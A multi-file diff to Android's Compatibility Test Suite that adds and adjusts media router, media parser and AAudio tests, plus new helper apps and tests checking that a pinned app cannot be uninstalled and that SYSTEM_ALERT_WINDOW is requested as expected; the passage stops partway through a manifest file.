--- a/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRoute2ProviderServiceTest.java
@@ -74,6 +74,7 @@
Context mContext;
private MediaRouter2 mRouter2;
private Executor mExecutor;
+ private RouteCallback mRouterDummyCallback = new RouteCallback(){};
private StubMediaRoute2ProviderService mService;
private static final int TIMEOUT_MS = 5000;
@@ -91,6 +92,16 @@
mRouter2 = MediaRouter2.getInstance(mContext);
mExecutor = Executors.newSingleThreadExecutor();
+ MediaRouter2TestActivity.startActivity(mContext);
+
+ // In order to make the system bind to the test service,
+ // set a non-empty discovery preference while app is in foreground.
+ List<String> features = new ArrayList<>();
+ features.add("A test feature");
+ RouteDiscoveryPreference preference =
+ new RouteDiscoveryPreference.Builder(features, false).build();
+ mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
new PollingCheck(TIMEOUT_MS) {
@Override
protected boolean check() {
@@ -107,6 +118,8 @@
@After
public void tearDown() throws Exception {
+ mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+ MediaRouter2TestActivity.finishActivity();
if (mService != null) {
mService.clear();
mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
index 48466d5..07136d6 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2Test.java
@@ -82,6 +82,7 @@
private MediaRouter2 mRouter2;
private Executor mExecutor;
private AudioManager mAudioManager;
+ private RouteCallback mRouterDummyCallback = new RouteCallback(){};
private StubMediaRoute2ProviderService mService;
private static final int TIMEOUT_MS = 5000;
@@ -102,6 +103,16 @@
mExecutor = Executors.newSingleThreadExecutor();
mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
+ MediaRouter2TestActivity.startActivity(mContext);
+
+ // In order to make the system bind to the test service,
+ // set a non-empty discovery preference while app is in foreground.
+ List<String> features = new ArrayList<>();
+ features.add("A test feature");
+ RouteDiscoveryPreference preference =
+ new RouteDiscoveryPreference.Builder(features, false).build();
+ mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
new PollingCheck(TIMEOUT_MS) {
@Override
protected boolean check() {
@@ -120,6 +131,8 @@
@After
public void tearDown() throws Exception {
+ mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+ MediaRouter2TestActivity.finishActivity();
if (mService != null) {
mService.clear();
mService = null;
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
new file mode 100644
index 0000000..e0ba399
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+ private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+ public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClass(context, MediaRouter2TestActivity.class);
+ sActivityScenario = ActivityScenario.launch(intent);
+ return sActivityScenario;
+ }
+
+ public static void finishActivity() {
+ if (sActivityScenario != null) {
+ // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+ sActivityScenario.close();
+ sActivityScenario = null;
+ }
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setTurnScreenOn(true);
+ setShowWhenLocked(true);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ }
+}
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index 6a13d24..13859a77 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -14,25 +14,33 @@
android_test {
name: "CtsMediaParserTestCases",
- defaults: ["cts_defaults"],
+ defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
+ min_sdk_version: "29",
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts",
+ ],
+}
+
+// App for host-side testing of the MediaParser integration with MediaMetrics.
+android_test_helper_app {
+ name: "CtsMediaParserTestCasesApp",
+ defaults: ["CtsMediaParserTestCasesDefaults"],
+}
+
+java_defaults {
+ name: "CtsMediaParserTestCasesDefaults",
+ srcs: ["src/**/*.java"],
static_libs: [
"ctstestrunner-axt",
"androidx.test.ext.junit",
"exoplayer2-extractor-test-utils",
"exoplayer2-extractor-tests-assets",
],
- srcs: ["src/**/*.java"],
- sdk_version: "test_current",
- min_sdk_version: "29",
libs: [
"android.test.base.stubs",
"android.test.runner.stubs",
],
-
- test_suites: [
- "cts",
- "vts10",
- "general-tests",
- "mts",
- ],
+ sdk_version: "test_current",
}
diff --git a/tests/tests/mediaparser/TEST_MAPPING b/tests/tests/mediaparser/TEST_MAPPING
index ec2d2e2..3d21914 100644
--- a/tests/tests/mediaparser/TEST_MAPPING
+++ b/tests/tests/mediaparser/TEST_MAPPING
@@ -2,6 +2,9 @@
"presubmit": [
{
"name": "CtsMediaParserTestCases"
+ },
+ {
+ "name": "CtsMediaParserHostTestCases"
}
]
}
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 40ddad9..145ac99 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -673,42 +673,44 @@
mediaParser.setParameter(entry.getKey(), entry.getValue());
}
- mediaParser.advance(inputReader);
- if (expectedParserName != null) {
- assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
- // We are only checking that the extractor is the right one.
- mediaParser.release();
- return;
- }
+ try {
+ mediaParser.advance(inputReader);
+ if (expectedParserName != null) {
+ assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
+ // We are only checking that the extractor is the right one.
+ return;
+ }
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
- // If the SeekMap is seekable, test seeking in the stream.
- MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
- assertThat(seekMap).isNotNull();
- if (seekMap.isSeekable()) {
- long durationUs = seekMap.getDurationMicros();
- for (int j = 0; j < 4; j++) {
- outputConsumer.clearTrackOutputs();
- long timeUs =
- durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
- ? 0
- : (durationUs * j) / 3;
- MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
- inputReader.reset();
- inputReader.setPosition((int) seekPoint.position);
- mediaParser.seek(seekPoint);
- while (mediaParser.advance(inputReader)) {
- // Do nothing.
- }
- if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
- break;
+ // If the SeekMap is seekable, test seeking in the stream.
+ MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
+ assertThat(seekMap).isNotNull();
+ if (seekMap.isSeekable()) {
+ long durationUs = seekMap.getDurationMicros();
+ for (int j = 0; j < 4; j++) {
+ outputConsumer.clearTrackOutputs();
+ long timeUs =
+ durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
+ ? 0
+ : (durationUs * j) / 3;
+ MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
+ inputReader.reset();
+ inputReader.setPosition((int) seekPoint.position);
+ mediaParser.seek(seekPoint);
+ while (mediaParser.advance(inputReader)) {
+ // Do nothing.
+ }
+ if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
+ break;
+ }
}
}
+ } finally {
+ mediaParser.release();
}
- mediaParser.release();
}
private static MockMediaParserInputReader getInputReader(String assetPath) throws IOException {
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index 88e6b68..9f414b6 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -48,6 +48,53 @@
const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
+ // This checks for expected behavior after a stream has been released.
+ void checkCallsAfterRelease() {
+ // We expect these not to crash.
+ AAudioStream_setBufferSizeInFrames(stream(), 0);
+ AAudioStream_setBufferSizeInFrames(stream(), 99999999);
+
+ // We should NOT be able to start or change a stream after it has been released.
+ EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+ AAudioStream_requestStart(stream()));
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+ // Pause is only implemented for OUTPUT.
+ if (AAudioStream_getDirection(stream()) == AAUDIO_DIRECTION_OUTPUT) {
+ EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+ AAudioStream_requestPause(stream()));
+ }
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+ EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+ AAudioStream_requestStop(stream()));
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+
+ // Do these return positive integers?
+ // Frames read or written may be zero if the stream has not had time to advance.
+ EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
+ EXPECT_GE(AAudioStream_getFramesWritten(stream()), 0);
+ EXPECT_GT(AAudioStream_getFramesPerBurst(stream()), 0);
+ EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+ EXPECT_GT(AAudioStream_getBufferCapacityInFrames(stream()), 0);
+ EXPECT_GT(AAudioStream_getBufferSizeInFrames(stream()), 0);
+
+ int64_t timestampFrames = 0;
+ int64_t timestampNanos = 0;
+ aaudio_result_t result = AAudioStream_getTimestamp(stream(), CLOCK_MONOTONIC,
+ ×tampFrames, ×tampNanos);
+ EXPECT_TRUE(result == AAUDIO_ERROR_INVALID_STATE
+ || result == AAUDIO_ERROR_UNIMPLEMENTED
+ || result == AAUDIO_OK
+ );
+
+ // Verify Closing State. Does this crash?
+ aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNKNOWN;
+ EXPECT_EQ(AAUDIO_OK, AAudioStream_waitForStateChange(stream(),
+ AAUDIO_STREAM_STATE_UNKNOWN,
+ &state,
+ 500 * NANOS_PER_MILLISECOND));
+ EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
+ }
+
std::unique_ptr<T> mHelper;
bool mSetupSuccessful = false;
std::unique_ptr<int16_t[]> mData;
@@ -171,6 +218,9 @@
aaudio_stream_state_t state = AAudioStream_getState(stream());
EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
}
+
+ checkCallsAfterRelease();
+
}
INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamTest,
@@ -376,11 +426,16 @@
if (!mSetupSuccessful) return;
mHelper->startStream();
- aaudio_result_t result = AAudioStream_write(
- stream(), &mData[0], framesPerBurst(),
- DEFAULT_READ_TIMEOUT);
- ASSERT_GT(result, 0);
+ // Write a few times so the device has time to read some of the data
+ // and maybe advance the framesRead.
+ for (int i = 0; i < 3; i++) {
+ aaudio_result_t result = AAudioStream_write(
+ stream(), &mData[0], framesPerBurst(),
+ DEFAULT_READ_TIMEOUT);
+ ASSERT_GT(result, 0);
+ }
mHelper->stopStream();
+ EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
// It should be safe to release multiple times.
for (int i = 0; i < 3; i++) {
@@ -388,6 +443,9 @@
aaudio_stream_state_t state = AAudioStream_getState(stream());
EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
}
+
+ checkCallsAfterRelease();
+
}
// Note that the test for EXCLUSIVE sharing mode may fail gracefully if
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 72902e68..7eef73e 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -27,6 +27,14 @@
<option name="force-install-mode" value="FULL"/>
<option name="test-file-name" value="CtsMockInputMethod.apk" />
</target_preparer>
+ <!-- Load additional APKs onto device -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
+ <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
+ </target_preparer>
+
+ <!-- Note that DeviceSetup roots the device without unrooting it -->
+ <!-- Don't push any files after this block b/256250427 -->
<target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
<option name="force-skip-system-props" value="true" />
<option name="screen-always-on" value="on" />
@@ -42,10 +50,4 @@
<option name="hidden-api-checks" value="false" />
-->
</test>
-
- <!-- Load additional APKs onto device -->
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
- <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
- </target_preparer>
</configuration>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
new file mode 100644
index 0000000..a5e2fd3
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsSelfUninstallingTestApp",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ srcs: ["src/**/*.java"],
+
+ static_libs: [
+ "androidx.core_core",
+ ],
+
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..87dc715
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.packageinstaller.selfuninstalling.cts" >
+
+ <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+ <application android:label="Self Uninstalling Test App">
+ <activity android:name=".SelfUninstallActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
new file mode 100644
index 0000000..ac0fb40
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent" >
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Pin me!" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
new file mode 100644
index 0000000..df5b1d4
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
@@ -0,0 +1,33 @@
+package android.packageinstaller.selfuninstalling.cts;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.annotation.Nullable;
+
+public class SelfUninstallActivity extends Activity {
+
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.self_uninstalling_activity);
+ registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Intent i = new Intent(Intent.ACTION_UNINSTALL_PACKAGE).setData(
+ Uri.fromParts("package", getPackageName(), null));
+ startActivity(i);
+ }
+ }, new IntentFilter(ACTION_SELF_UNINSTALL));
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index a493305..8ae5bb4 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -20,6 +20,7 @@
"androidx.test.rules",
"compatibility-device-util-axt",
"platform-test-annotations",
+ "cts-wm-util",
],
resource_dirs: ["res"],
srcs: ["src/**/*.java"],
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 9fc0a88..dd98214 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -31,4 +31,14 @@
<option name="package" value="android.packageinstaller.uninstall.cts" />
<option name="runtime-hint" value="1m" />
</test>
+ <!-- Create place to store apks -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <!-- Load additional APKs onto device -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="CtsSelfUninstallingTestApp.apk->/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk" />
+ </target_preparer>
</configuration>
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
new file mode 100644
index 0000000..84c2696
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2020 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.server.wm.WindowManagerStateHelper;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class UninstallPinnedTest {
+
+ private static final String APK =
+ "/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk";
+ private static final String TEST_PKG_NAME = "android.packageinstaller.selfuninstalling.cts";
+ private static final String TEST_ACTIVITY_NAME = TEST_PKG_NAME + ".SelfUninstallActivity";
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+ private static final ComponentName COMPONENT = new ComponentName(TEST_PKG_NAME, TEST_ACTIVITY_NAME);
+ public static final String CALLBACK_ACTION =
+ "android.packageinstaller.uninstall.cts.action.UNINSTALL_PINNED_CALLBACK";
+
+ private WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+ private Context mContext;
+ private UiDevice mUiDevice;
+ private ActivityTaskManager mActivityTaskManager;
+
+ @Before
+ public void setup() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mActivityTaskManager = mContext.getSystemService(ActivityTaskManager.class);
+
+ // Unblock UI
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ if (!mUiDevice.isScreenOn()) {
+ mUiDevice.wakeUp();
+ }
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ AppOpsUtils.reset(mContext.getPackageName());
+
+ runShellCommand("pm install -r --force-queryable " + APK);
+
+ Intent i = new Intent()
+ .setComponent(COMPONENT)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(i);
+
+ pinActivity(COMPONENT);
+ }
+
+ @Test
+ public void testAppCantUninstallItself() throws Exception {
+ mUiDevice.waitForIdle();
+ eventually(() -> {
+ mContext.sendBroadcast(new Intent(ACTION_SELF_UNINSTALL));
+ waitFindObject(By.text("OK")).click();
+ }, 60000);
+
+ mUiDevice.waitForIdle();
+
+ Thread.sleep(5000);
+
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallAppDirectly() {
+ CompletableFuture<Integer> statusFuture = new CompletableFuture<>();
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ statusFuture.complete(
+ intent.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MAX_VALUE));
+ }
+ }, new IntentFilter(CALLBACK_ACTION));
+
+ runWithShellPermissionIdentity(() -> {
+ mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
+ PendingIntent.getBroadcast(mContext, 1,
+ new Intent(CALLBACK_ACTION),
+ 0).getIntentSender());
+ });
+
+ int status = statusFuture.join();
+ assertEquals("Wrong code received", PackageInstaller.STATUS_FAILURE_BLOCKED, status);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallWithShell() throws Exception {
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @After
+ public void unpinAndUninstall() throws IOException {
+ runWithShellPermissionIdentity(() -> mActivityTaskManager.stopSystemLockTaskMode());
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ }
+
+ private void pinActivity(ComponentName component) {
+ mWmState.computeState();
+
+ int stackId = mWmState.getStackIdByActivity(component);
+
+ runWithShellPermissionIdentity(() -> {
+ mActivityTaskManager.startSystemLockTaskMode(
+ stackId);
+ });
+ }
+
+ private boolean isInstalled() {
+ try {
+ mContext.getPackageManager().getPackageInfo(TEST_PKG_NAME, 0);
+ return true;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 6c42051..c3fb25a 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -34,6 +34,7 @@
"androidx.annotation_annotation",
"platformprotosnano",
"permission-test-util-lib",
+ "sts-device-util",
],
jni_libs: [
"libctspermission_jni",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index f770bfb..35da2b6 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -68,6 +68,8 @@
<option name="push" value="CtsStorageEscalationApp28.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp28.apk" />
<option name="push" value="CtsStorageEscalationApp29Full.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Full.apk" />
<option name="push" value="CtsStorageEscalationApp29Scoped.apk->/data/local/tmp/cts/permissions/CtsStorageEscalationApp29Scoped.apk" />
+ <option name="push" value="CtsAppThatRequestsSystemAlertWindow22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow22.apk" />
+ <option name="push" value="CtsAppThatRequestsSystemAlertWindow23.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsSystemAlertWindow23.apk" />
</target_preparer>
<!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
new file mode 100644
index 0000000..43cc9de
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/Android.bp
@@ -0,0 +1,32 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CtsAppThatRequestsSystemAlertWindow22",
+ target_sdk_version: "22",
+ certificate: ":cts-testkey2",
+ min_sdk_version: "22",
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts-permission",
+ "sts",
+ ],
+}
diff --git a/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
new file mode 100644
index 0000000..8b85b13
--- /dev/null
+++ b/tests/tests/permission/AppThatRequestSystemAlertWindow22/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2022 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission3.cts.usesystemalertwindowpermission">
+
